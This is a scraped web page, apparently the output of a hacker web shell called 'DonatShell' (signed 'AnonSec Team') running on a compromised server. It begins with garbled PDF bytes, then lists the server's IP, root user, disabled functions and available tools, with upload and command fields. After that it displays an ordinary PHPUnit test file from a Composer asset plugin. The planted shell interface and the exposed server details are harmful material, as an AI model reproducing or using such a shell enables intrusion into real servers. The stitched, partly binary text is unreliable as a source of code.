%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/ppaobm/vendor/fxp/composer-asset-plugin/Tests/Repository/Vcs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/ppaobm/vendor/fxp/composer-asset-plugin/Tests/Repository/Vcs/UtilTest.php
<?php

/*
 * This file is part of the Fxp Composer Asset Plugin package.
 *
 * (c) François Pluchino <francois.pluchino@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Fxp\Composer\AssetPlugin\Tests\Repository\Vcs;

use Fxp\Composer\AssetPlugin\Repository\Vcs\Util;
use Fxp\Composer\AssetPlugin\Tests\Fixtures\Repository\Vcs\MockVcsDriver;

/**
 * Tests of util.
 *
 * @author François Pluchino <francois.pluchino@gmail.com>
 *
 * @internal
 */
final class UtilTest extends \PHPUnit\Framework\TestCase
{
    public function getDataProvider()
    {
        return array(
            array('key'),
            array('key.subkey'),
            array('key.subkey.subsubkey'),
        );
    }

    /**
     * @dataProvider getDataProvider
     *
     * @param string $resourceKey
     */
    public function testAddComposerTimeWithSimpleKey($resourceKey)
    {
        $composer = array(
            'name' => 'test',
        );
        $driver = new MockVcsDriver();

        $value = null;
        $keys = explode('.', $resourceKey);
        $start = \count($keys) - 1;

        for ($i = $start; $i >= 0; --$i) {
            if (null === $value) {
                $value = 'level '.$i;
            }

            $value = array($keys[$i] => $value);
        }

        $driver->contents = json_encode($value);
        $composerValid = array_merge($composer, array(
            'time' => 'level '.(\count($keys) - 1),
        ));

        $composer = Util::addComposerTime($composer, $resourceKey, 'http://example.tld', $driver);

        $this->assertSame($composerValid, $composer);
    }
}

Anon7 - 2022
AnonSec Team